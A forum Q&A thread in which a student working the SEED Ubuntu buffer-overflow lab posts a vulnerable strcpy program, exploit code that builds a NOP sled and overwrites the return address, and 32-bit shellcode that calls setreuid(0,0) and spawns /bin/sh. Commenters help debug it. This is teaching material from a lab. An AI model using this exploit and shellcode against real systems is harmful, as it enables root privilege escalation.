2

I'm trying to exploit simple stack overflow vulnerability. But I have trouble writing the exploit.c file. After getting the stack pointer using __asm__("movl %esp, %eax"), I put the address and shellcode in the buffer.

This is stack.c file:

int bof(char *str)

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;

int main(int argc, char **argv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

Below is my current exploit.c file. I have two VM with the same setup using SEED Ubuntu. I run the same file on both machines. The first give me regular shell, another one returns "seg fault". But the root shell is what I want.

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */ 
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;

addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);

//printf("addr: %x\n", addr);

for (i = 0; i < 10; i++) {
  *(addr_ptr++) = addr;
}

for (i = 0; i < strlen(shellcode); i++) {
  buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];  
} 

// Null terminate the shellcode 
buffer[sizeof(buffer)-1] = '\0';

// printf("%s\n", buffer);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

Shellcode defined in the exploit.c file is:

char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;
  • 9
    Please don't post text as images. Instead, copy and paste the text itself into your post, and use code blocks (begin each line with four spaces; use the {} editor toolbar button) to have it formatted as code rather than prose. – a CVn Oct 21 '18 at 11:36
  • Segmentation faults occur when you try to access memory which doesn't belong to your program. Can you send the whole code? – Huzaifa Shaikh Oct 21 '18 at 15:45
  • @K.Doe.x You are really using "%eap" instead of "%esp" or it is just a typo? – slayer Oct 22 '18 at 11:53
  • As addition to the above advises. How did you compile your c-files, and how you executed your exploit, which command ? Maybe there is a problem with the Symbols not loaded in the gdb debugger. E.g. add to your command the "-g" option, > gcc -g -o yourFile yourFile.c – loadM Oct 22 '18 at 15:10
  • When you replace the image with the text of your source, can you show the definition of buffer (and, probably, shellcode)? Also, how you trigger the overflow, and what makes you think what you've shown in gdb is actually buffer? – TripeHound Oct 22 '18 at 15:29
-1

I got it. Reset the machine and rewrote the code (find the address through gdb instead). It works now. Thanks everyone.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.